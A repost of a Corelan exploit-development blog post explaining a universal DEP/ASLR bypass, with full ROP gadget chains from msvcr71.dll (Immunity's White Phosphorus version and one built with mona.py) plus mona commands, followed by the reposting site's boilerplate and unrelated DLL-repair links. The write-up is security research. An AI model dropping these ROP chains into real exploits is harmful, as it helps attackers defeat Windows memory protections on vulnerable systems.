Universal DEP/ASLR bypass with msvcr71.dll and mona.py

2024-03-29 08:48

本文主要是介绍Universal DEP/ASLR bypass with msvcr71.dll and mona.py,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

转载自:

https://www.corelan.be/index.php/2011/07/03/universal-depaslr-bypass-with-msvcr71-dll-and-mona-py/

Introduction

Over the last few weeks, there has been some commotion about a universal DEP/ASLR bypass routine  using ROP gadgets from msvcr71.dll and the fact that it might have been copied into an exploit submitted to Metasploit as part of the Metasploit bounty.

For the record, I don’t know exactly what happened nor have I seen the proof… so I’m not going to make any statements about this or judge anyone.

Furthermore, this post is not about the incident, but about the routine itself (which looks pretty slick) and alternative routines.

The White Phosphorus version

Released as part of the White Phosphorus Exploit Pack, the routine only uses gadgets and pointer to VirtualProtect from msvcr71.dll.  That particular version of the dll does not rebase and is not ASLR enabled either, which makes it a perfect candidate for universal/generic DEP & ASLR bypass, providing that it contains all required gadgets to perform a generic ROP routine.

If your target application has that particular version of the dll loaded (or if you can force it to load one way or another), you can use the ROP chain to bypass DEP and ASLR in a generic way.

Immunity Inc published the bypass technique on their website.  The routine looks like this :

def wp_sayonaraASLRDEPBypass(size=1000):# White Phosphorus# Sayonara Universal ASLR + DEP bypass for Windows [2003/XP/Vista/7]## This technique uses msvcr71.dll which has shipped unchanged# in the Java Runtime Environment since v1.6.0.0 released# December 2006.## mail: support@whitephosphorus org# sales: http://www.immunityinc.com/products-whitephosphorus.shtmlprint "WP> Building Sayonara - Universal ASLR and DEP bypass"size += 4  # bytes to shellcode after pushad esp ptrdepBypass = pack('<L', 0x7C344CC1)  # pop eax;ret;depBypass += pack('<L', 0x7C3410C2) # pop ecx;pop ecx;ret;depBypass += pack('<L', 0x7C342462) # xor chain; call eax {0x7C3410C2}depBypass += pack('<L', 0x7C38C510) # writeable location for lpflOldProtectdepBypass += pack('<L', 0x7C365645) # pop esi;ret;depBypass += pack('<L', 0x7C345243) # ret;depBypass += pack('<L', 0x7C348F46) # pop ebp;ret;depBypass += pack('<L', 0x7C3487EC) # call eax depBypass += pack('<L', 0x7C344CC1) # pop eax;ret; depBypass += pack("<i", -size)      # {size}depBypass += pack('<L', 0x7C34D749) # neg eax;ret; {adjust size}depBypass += pack('<L', 0x7C3458AA) # add ebx, eax;ret; {size into ebx}depBypass += pack('<L', 0x7C3439FA) # pop edx;ret; depBypass += pack('<L', 0xFFFFFFC0) # {flag}depBypass += pack('<L', 0x7C351EB1) # neg edx;ret; {adjust flag}depBypass += pack('<L', 0x7C354648) # pop edi;ret;depBypass += pack('<L', 0x7C3530EA) # mov eax,[eax];ret;depBypass += pack('<L', 0x7C344CC1) # pop eax;ret;depBypass += pack('<L', 0x7C37A181) # (VP RVA + 30) - {0xEF adjustment}depBypass += pack('<L', 0x7C355AEB) # sub eax,30;ret;depBypass += pack('<L', 0x7C378C81) # pushad; add al,0xef; ret;depBypass += pack('<L', 0x7C36683F) # push esp;ret;print "WP> Universal Bypass Size: %d bytes"%len(depBypass)return depBypass

(22 dwords)

Triggered by the Metasploit bounty "incident", the fact that Abysssec published a post/document just a few hours ago, and because Immunity already released the routine, I decided to take a look myself & see if there would be another way to build an alternative DEP/ASLR Bypass routine from msvcr71.dll.

The alternative version (mona.py)

I attached Immunity Debugger to an application that has the dll loaded, and used mona.py to create a database with rop gadgets & have it produce a rop chain. 

Since the one written part of White Phosporus doesn’t have any null bytes, I will try to do the same thing.

This is the result :

Command used :

!mona rop -m msvcr71.dll -n

17 seconds later, I got this :

rop_gadgets = [0x7c346c0a,	# POP EAX # RETN (msvcr71.dll)0x7c37a140,	# <- *&VirtualProtect() 0x7c3530ea,	# MOV EAX,DWORD PTR DS:[EAX] # RETN (msvcr71.dll)0x????????,	# ** <- find routine to move virtualprotect() into esi# ** Hint : look for mov [esp+offset],eax and pop esi0x7c376402,	# POP EBP # RETN (msvcr71.dll)0x7c345c30,	# ptr to 'push esp #  ret ' (from msvcr71.dll)0x7c346c0a,	# POP EAX # RETN (msvcr71.dll)0xfffffdff,	# value to negate, target value : 0x00000201, target: ebx0x7c351e05,	# NEG EAX # RETN (msvcr71.dll)0x7c354901,	# POP EBX # RETN (msvcr71.dll)0xffffffff,	# pop value into ebx0x7c345255,	# INC EBX # FPATAN # RETN (msvcr71.dll)0x7c352174,	# ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN (msvcr71.dll)0x7c34d201,	# POP ECX # RETN (msvcr71.dll)0x7c38b001,	# RW pointer (lpOldProtect) (-> ecx)0x7c34b8d7,	# POP EDI # RETN (msvcr71.dll)0x7c34b8d8,	# ROP NOP (-> edi)0x7c344f87,	# POP EDX # RETN (msvcr71.dll)0xffffffc0,	# value to negate, target value : 0x00000040, target: edx0x7c351eb1,	# NEG EDX # RETN (msvcr71.dll)0x7c346c0a,	# POP EAX # RETN (msvcr71.dll)0x90909090,	# NOPS (-> eax)0x7c378c81,	# PUSHAD # ADD AL,0EF # RETN (msvcr71.dll)# rop chain generated by mona.py# note : this chain may not work out of the box# you may have to change order or fix some gadgets,# but it should give you a head start].pack("V*")

Interesting… mona.py generated an almost complete ROP chain using gadgets using pointers from msvcr71.dll. 

It is slightly larger than the one written by Immunity (so yes, the one part of WP is most likely better), but I just wanted to see if there was an alternative available.

The only thing that is missing from the one mona generated, is a routine that would put the VirtualProtect() (in eax) into esi.

mona.py didn’t find any obvious gadgets that would simply do something such as "mov esi,eax", so I had to manually search for an alternative.

But as mona.py suggested, I simply had to find a gadget that would write the value in eax onto the stack, so you can pick it up in esi later on.

In order to do so, you probably need 2 or 3 gadgets : one to get the stack pointer, a second one to write the value onto the stack and a third one to pick it up (pop esi).

After searching the generated rop.txt file for a few minutes, I found the following 2 gadgets that will do this :

0x7c37591f :  # PUSH ESP # ADD EAX,DWORD PTR DS:[EAX] # ADD CH,BL # INC EBP # OR AL,59 # POP ECX # POP EBP # RETN   

0x7c376069 :  # MOV DWORD PTR DS:[ECX+1C],EAX # POP EDI # POP ESI # POP EBX # RETN  

That should work. 

Using those 2 gadgets, we can simply write the pointer to VirtualProtect() onto the stack and pick it up in ESI. In fact, the second gadget will write and pick up in the same gadget. We just need to make ECX point at the correct location on the stack and make sure POP ESI will take it from that location.

Note that the first gadget requires EAX to contain a valid pointer to a readable location.  So all we would have to do to make it readable is pop a readable address from msvcr71.dll into EAX first.

Putting all of this together, the chain looks like this :

rop_gadgets = 
[0x7c346c0a,	# POP EAX # RETN (MSVCR71.dll)0x7c37a140,	# Make EAX readable			0x7c37591f,	# PUSH ESP # ... # POP ECX # POP EBP # RETN (MSVCR71.dll)0x41414141,	# EBP (filler)0x7c346c0a,	# POP EAX # RETN (MSVCR71.dll)0x7c37a140,	# <- *&VirtualProtect() 0x7c3530ea,	# MOV EAX,DWORD PTR DS:[EAX] # RETN (MSVCR71.dll)0x7c346c0b,	# Slide, so next gadget would write to correct stack location0x7c376069,	# MOV [ECX+1C],EAX # P EDI # P ESI # P EBX # RETN (MSVCR71.dll)0x41414141,	# EDI (filler)0x41414141,	# will be patched at runtime (VP), then picked up into ESI0x41414141,	# EBX (filler)0x7c376402,	# POP EBP # RETN (msvcr71.dll)0x7c345c30,	# ptr to 'push esp #  ret ' (from MSVCR71.dll)0x7c346c0a,	# POP EAX # RETN (MSVCR71.dll)0xfffffdff,	# size 0x00000201 -> ebx, modify if needed0x7c351e05,	# NEG EAX # RETN (MSVCR71.dll)0x7c354901,	# POP EBX # RETN (MSVCR71.dll)0xffffffff,	# pop value into ebx0x7c345255,	# INC EBX # FPATAN # RETN (MSVCR71.dll)0x7c352174,	# ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN (MSVCR71.dll)0x7c34d201,	# POP ECX # RETN (MSVCR71.dll)0x7c38b001,	# RW pointer (lpOldProtect) (-> ecx)0x7c34b8d7,	# POP EDI # RETN (MSVCR71.dll)0x7c34b8d8,	# ROP NOP (-> edi)0x7c344f87,	# POP EDX # RETN (MSVCR71.dll)0xffffffc0,	# value to negate, target value : 0x00000040, target: edx0x7c351eb1,	# NEG EDX # RETN (MSVCR71.dll)0x7c346c0a,	# POP EAX # RETN (MSVCR71.dll)0x90909090,	# NOPS (-> eax)0x7c378c81,	# PUSHAD # ADD AL,0EF # RETN (MSVCR71.dll)# rop chain generated with mona.py
].pack("V*")

31 dwords…  9 dwords larger than the commercial one from White Phosphorus…  but it proves my point.   It took me less than 10 minutes to build this chain, it’s universal and bypasses DEP and ASLR.

Oh, by the way, in case you didn’t know…  if you have other bad chars (so let’s say you also need to avoid using ‘\x0a’ and ‘\x0d’) then you could just run

!mona rop -m msvcr71.dll -n -cpb '\x0a\x0d'

and get other pointers… yes, it’s that simple. 

 

Conclusion

no matter how nice & ‘tempting’ a certain solution looks like, there always might be an alternative, and creativity often leads to results.

 


这篇关于Universal DEP/ASLR bypass with msvcr71.dll and mona.py的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/858154

相关文章

电脑提示Winmm.dll缺失怎么办? Winmm.dll文件丢失的多种修复技巧

《电脑提示Winmm.dll缺失怎么办?Winmm.dll文件丢失的多种修复技巧》有时电脑会出现无法启动程序,因为计算机中丢失winmm.dll的情况,其实,winmm.dll丢失是一个比较常见的问... 在大部分情况下出现我们运行或安装软件,游戏出现提示丢失某些DLL文件或OCX文件的原因可能是原始安装包

无法启动此程序因为计算机丢失api-ms-win-core-path-l1-1-0.dll修复方案

《无法启动此程序因为计算机丢失api-ms-win-core-path-l1-1-0.dll修复方案》:本文主要介绍了无法启动此程序,详细内容请阅读本文,希望能对你有所帮助... 在计算机使用过程中,我们经常会遇到一些错误提示,其中之一就是"api-ms-win-core-path-l1-1-0.dll丢失

电脑找不到mfc90u.dll文件怎么办? 系统报错mfc90u.dll丢失修复的5种方案

《电脑找不到mfc90u.dll文件怎么办?系统报错mfc90u.dll丢失修复的5种方案》在我们日常使用电脑的过程中,可能会遇到一些软件或系统错误,其中之一就是mfc90u.dll丢失,那么,mf... 在大部分情况下出现我们运行或安装软件,游戏出现提示丢失某些DLL文件或OCX文件的原因可能是原始安装包

电脑显示mfc100u.dll丢失怎么办?系统报错mfc90u.dll丢失5种修复方案

《电脑显示mfc100u.dll丢失怎么办?系统报错mfc90u.dll丢失5种修复方案》最近有不少兄弟反映,电脑突然弹出“mfc100u.dll已加载,但找不到入口点”的错误提示,导致一些程序无法正... 在计算机使用过程中,我们经常会遇到一些错误提示,其中最常见的就是“找不到指定的模块”或“缺少某个DL

一文带你搞懂Python中__init__.py到底是什么

《一文带你搞懂Python中__init__.py到底是什么》朋友们,今天我们来聊聊Python里一个低调却至关重要的文件——__init__.py,有些人可能听说过它是“包的标志”,也有人觉得它“没... 目录先搞懂 python 模块(module)Python 包(package)是啥?那么 __in

一文教你Python引入其他文件夹下的.py文件

《一文教你Python引入其他文件夹下的.py文件》这篇文章主要为大家详细介绍了如何在Python中引入其他文件夹里的.py文件,并探讨几种常见的实现方式,有需要的小伙伴可以根据需求进行选择... 目录1. 使用sys.path动态添加路径2. 使用相对导入(适用于包结构)3. 使用pythonPATH环境

mss32.dll文件丢失怎么办? 电脑提示mss32.dll丢失的多种修复方法

《mss32.dll文件丢失怎么办?电脑提示mss32.dll丢失的多种修复方法》最近,很多电脑用户可能遇到了mss32.dll文件丢失的问题,导致一些应用程序无法正常启动,那么,如何修复这个问题呢... 在电脑常年累月的使用过程中,偶尔会遇到一些问题令人头疼。像是某个程序尝试运行时,系统突然弹出一个错误提

电脑提示找不到openal32.dll文件怎么办? openal32.dll丢失完美修复方法

《电脑提示找不到openal32.dll文件怎么办?openal32.dll丢失完美修复方法》openal32.dll是一种重要的系统文件,当它丢失时,会给我们的电脑带来很大的困扰,很多人都曾经遇到... 在使用电脑过程中,我们常常会遇到一些.dll文件丢失的问题,而openal32.dll的丢失是其中比较

电脑win32spl.dll文件丢失咋办? win32spl.dll丢失无法连接打印机修复技巧

《电脑win32spl.dll文件丢失咋办?win32spl.dll丢失无法连接打印机修复技巧》电脑突然提示win32spl.dll文件丢失,打印机死活连不上,今天就来给大家详细讲解一下这个问题的解... 不知道大家在使用电脑的时候是否遇到过关于win32spl.dll文件丢失的问题,win32spl.dl

电脑提示msvcp90.dll缺少怎么办? MSVCP90.dll文件丢失的修复方法

《电脑提示msvcp90.dll缺少怎么办?MSVCP90.dll文件丢失的修复方法》今天我想和大家分享的主题是关于在使用软件时遇到的一个问题——msvcp90.dll丢失,相信很多老师在使用电脑时... 在计算机使用过程中,可能会遇到 MSVCP90.dll 丢失的问题。MSVCP90.dll 是 Mic